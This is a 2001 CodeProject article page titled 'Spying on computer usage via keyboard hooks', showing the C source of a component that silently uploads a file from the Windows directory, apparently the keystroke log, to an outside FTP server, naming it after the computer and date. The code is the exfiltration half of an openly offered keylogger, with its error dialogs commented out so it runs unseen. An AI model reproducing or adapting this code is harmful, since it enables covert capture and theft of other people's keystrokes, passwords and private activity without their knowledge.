Click here to Skip to main content
12,455,917 members (38,722 online)
Click here to Skip to main content

Stats

94.2K views
2.4K downloads
48 bookmarked
Posted

Spying on computer usage via keyboard hooks

, 22 Sep 2001
This program can be used to find out how your computer is being used while you are away.
Finding Usage
Section 1
ddd.dsp
ddd.dsw
Section 2
Servpost.dsp
Servpost.dsw
Section3
instks.dsp
instks.dsw
Section4
change.dsp
change.dsw
change.ico
small.ico
////////////////////////////////////////////////////////////////////
// 	  This program is done by Hirosh Joseph from india            //
//       Email hirosh@hirosh.com	        		              //	
//       Website www.hirosh.com,www.hirosh.net,www.hirosh.org     // 
// 	  I always welcome to ur valuble comments                     // 
////////////////////////////////////////////////////////////////////
#include "stdafx.h"


// General Globals
char     szAppName[20]  = "ServPost";
DWORD    dwBinary       = FTP_TRANSFER_TYPE_BINARY;


int ftppost()
{
   HINTERNET   hInternet, hHost; // handles.
   int         i;
   char        szHost[128];
   char        szPath[MAX_PATH];
   char        szFile[MAX_PATH];
//U can create free ftp space in www.xoasis.com like websites
   lstrcpy( szHost, "ftp.xoasis.com");
   lstrcpy( szFile, "" );
   
   lstrcpy(szPath, "/"); // Use root as default path.
   // Get the path, if prepended to filename.
   for (i=strlen(szFile); i>0; --i)
   {
      if (szFile[i]=='/' || szFile[i]=='\\')
      {
         strncpy(szPath, szFile, ++i);
         szPath[i]= 0; // terminate.
         lstrcpy(szFile, szFile+i);
         break;
      }
   }
   
   hInternet = InternetOpen( szAppName, LOCAL_INTERNET_ACCESS , NULL, 0, 0 );
   if (!hInternet) 
   {  
     //MessageBox(0,"111","1",MB_OK);
      InternetCloseHandle( hInternet );
      return 1;
   }

   hHost = InternetConnect( hInternet, szHost, INTERNET_INVALID_PORT_NUMBER, 
           "Username","Password", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE , 0);
   if (!hHost)
   {//MessageBox(0,"222","1",MB_OK);
      InternetCloseHandle( hInternet );
      return 1;
   }
 
   if (!FtpSetCurrentDirectory( hHost, szPath ))
   {
	  //MessageBox(0,"333","1",MB_OK);
      InternetCloseHandle( hInternet );
      return 1;
   }

	char b[MAX_PATH];
	strcpy(b,"");
	GetWindowsDirectory(b,MAX_PATH);
	strcat(b, "\\Servback.txt" );
	strcat(b,"\0");

	DWORD dwSize; 
	char szBuffer[MAX_COMPUTERNAME_LENGTH + 1];
	dwSize = MAX_COMPUTERNAME_LENGTH + 1;
	GetComputerName (szBuffer, &dwSize);

	SYSTEMTIME stime;
	char sdate[5];
	GetSystemTime(&stime);
	sprintf(sdate,"%d.txt",stime.wDay); 
	char fname[100];
	strcpy(fname,szBuffer);
	strcat(fname,sdate);
	strcat(fname,"\0");



	
if (!FtpPutFile( hHost, b,fname,FTP_TRANSFER_TYPE_ASCII ,0))
   {
	//MessageBox(0,"444","1",MB_OK);
      InternetCloseHandle( hInternet );
      return 1;
   }
 
  InternetCloseHandle( hHost );
   InternetCloseHandle( hInternet );

   return 0;
}

By viewing downloads associated with this article you agree to the Terms of Service and the article's licence.

If a file you wish to view isn't highlighted, and is a text file (not binary), please let us know and we'll add colourisation support for it.

License

This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below.

A list of licenses authors might use can be found here

Share

About the Author

H. Joseph
United States United States
No Biography provided

You may also be interested in...

Pro
Pro
| Advertise | Privacy | Terms of Use | Mobile
Web01 | 2.8.160826.1 | Last Updated 23 Sep 2001
Article Copyright 2001 by H. Joseph
Everything else Copyright © CodeProject, 1999-2016
Layout: fixed | fluid